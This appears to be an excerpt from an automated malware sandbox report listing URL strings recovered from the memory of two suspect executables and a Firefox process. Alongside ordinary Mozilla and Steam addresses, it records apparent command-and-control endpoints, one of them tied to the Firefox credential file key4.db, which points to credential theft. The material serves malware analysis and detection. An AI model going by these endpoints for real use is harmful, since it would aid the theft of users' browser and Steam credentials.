Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EAD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.3134482492.000000AD21504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000003.3099283549.000001EE305CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 0000001A.00000003.3099283549.000001EE305CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.3283280261.000001EE322BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.3283280261.000001EE322BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.3213356534.000001EE30842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3089658099.000001EE30842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3083659501.000001EE30842000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: 2ffb915ad7.exe, 0000000C.00000003.3186014931.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/.of
Source: file.exe, 00000000.00000003.2151091945.0000000001199000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/2
Source: file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/J
Source: 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/Vo
Source: 2ffb915ad7.exe, 0000000C.00000003.3022927593.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3050988085.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186014931.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3052866404.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api2a
Source: file.exe, 00000000.00000003.2049716081.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api;
Source: 2ffb915ad7.exe, 0000000C.00000003.3185616243.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiCh
Source: file.exe, 00000000.00000003.2049716081.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiM
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132562867.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198228630.00000000011B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiNT
Source: file.exe, 00000000.00000003.2105870099.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106098894.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiaNT
Source: file.exe, 00000000.00000003.2151091945.0000000001199000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apibaL
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3050988085.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3052866404.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apid
Source: file.exe, 00000000.00000003.2107229824.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2105870099.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107094615.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106098894.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie
Source: file.exe, 00000000.00000003.2132562867.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2125907579.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120843555.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2119067310.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apig
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apih
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apim
Source: file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/b
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/r
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apiMicrosoft
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apiaa-
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apihv.default-release/key4.dbPK
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apitPK
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE301D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001A.00000002.3179136668.000001EE2F2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.3179136668.000001EE2F2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001656000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store/api
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store/api_
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/apiJ
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE3016D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3184999337.000001EE2F799000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE3016D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE304C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE30668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3283280261.000001EE322A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
